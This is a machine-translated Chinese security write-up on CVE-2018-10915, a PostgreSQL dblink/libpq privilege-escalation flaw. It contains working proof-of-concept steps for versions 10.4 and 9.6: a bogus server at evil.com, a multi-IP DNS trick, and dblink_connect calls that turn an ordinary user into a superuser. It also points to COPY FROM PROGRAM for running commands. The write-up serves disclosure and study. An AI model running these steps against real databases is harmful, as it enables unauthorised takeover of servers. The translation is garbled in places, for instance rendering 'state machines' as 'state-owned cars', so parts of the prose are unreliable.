PostgreSQL权限提升-CVE-2018-10915解析

KDPV

国有汽车在我们中间已经不是什么秘密了。 从UI到网络堆栈,它们几乎无处不在。 有时复杂,有时简单。 有时与安全相关,有时不是很相关。 但是,通常,研究起来很有趣:)今天,我想谈一谈PostgreSQL的一个有趣案例-CVE-2018-10915 ,该案例允许增加对超级用户的特权。


小介绍


如您所知,托管数据库在世界范围内发展。 毫不奇怪-如果您有一个简单但要求不高的应用程序,那么为什么要诅咒自己的基础呢? 确实,对于大多数云(或专业)提供商而言,您可以获得自己的MySQL / PostgreSQL / MongoDB / etc数据库,并从此过上幸福的生活。 当然,这会引起其他问题,因为 如果以前为了利用数据库中的大多数安全问题,您必须先获得该应用程序(在大多数情况下,它本身就是游戏的终结),现在 裸露的屁股 他们的界面对攻击者有利。 应该指出一个事实,下一个障碍应该是高质量的基础架构,这是事实,但今天并非如此。


CVE-2018-10915的本质


  • 在大多数情况下,PostgreSQL不需要本地连接的身份验证。 来自官方docker镜像的示例:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

  • 由于有了dblinkpostgres_fdw扩展,您可以连接到远程数据库。 根据论坛的判断,经常会询问消费者是否有空;)
  • 作者已经被特权升级所烧死,因此他们进行了黑客攻击,禁止未经身份验证的连接:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

  • 从服务器收到AUTH_REQ_MD5AUTH_REQ_PASSWORD消息后,状态机将设置password_needed标志
  • libpq可以绕过多个IP(pg 9.x)或主机(pg 10.x / 11.x)寻找合适的主机
  • 在两种方便的情况下,状态机在设置password_needed标志后将移至下一个IP /主机:
    • 我们需要一个可写的会话( target_session_attrs=read-write ),并且服务器是只读的
    • 收到unknown application_name错误后
  • 移至下一个IP /主机时,将调用pqDropConnection ,它会非常有选择地清除连接数据(因为重新连接可能需要其中的一些数据)。 提示: password_needed不重置
  • 这允许绕过dblink_security_check检查,因为 连接到下一个主机时,该标志将保留先前的值
  • 获利

因此,如果我们有任何可以访问此主机的dblink和PostgreSQL且具有受信任连接的用户,我们可以使用密码绕过身份验证要求,代表postgres主管进行连接,并代表其执行任何操作(例如,使用COPY foo FROM PROGRAM 'whoami'; )。


从理论到实践-PostgreSQL 10.4!


但是您不会仅受一个理论的困扰,因此我准备了一个利用此漏洞的小例子。 我们将从PostgreSQL 10.4开始。


  • 首先,编写并运行一个简单的PostgreSQL服务器( bogus-pgsrv ),该服务器将要求对任何请求进行密码身份验证,并在收到请求后发送错误ERRCODE_APPNAME_UNKNOWN

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

  • 现在准备测试PostgreSQL:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • 我们检查用户test没有特定权限:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

  • 太好了,现在我们经营:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

  • 仅此而已。 我们可以做任何我们想做的事^ _ ^

从理论到实践-PostgreSQL 9.6!


使用PostgreSQL 9.x,事情要复杂一些,因为 它不支持枚举要连接的主机列表。 但是,如果地址解析为多个IP,它将绕开它们! 由于 IPv6地址具有优先级(请参阅RFC6724 ),我们可以通过发送ERRCODE_APPNAME_UNKNOWN几秒钟来回答AAAA请求中的IP,以及将127.0.0.1到A +断开连接几秒钟来做同样的事情:


  • 准备DNS:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

  • 运行相同的伪pgsql
  • 并再次准备测试PostgreSQL(IPv6应该适用于docker,这很重要):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • 我们经营:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

  • 仅此而已。 我们可以做任何我们想做的事^ _ ^

结论


我想通过写一些聪明的东西作为总结,但是,不幸的是,我没有一种好的,简单的通用方法来检查状态机是否一切正常。 有各种各样的尝试,但是从我看来,它们要么过于专业化,要么仍然能够应对逻辑错误。 仍然希望保持警惕,并对审查有更多的关注:(

Source: https://habr.com/ru/post/zh-CN440394/


All Articles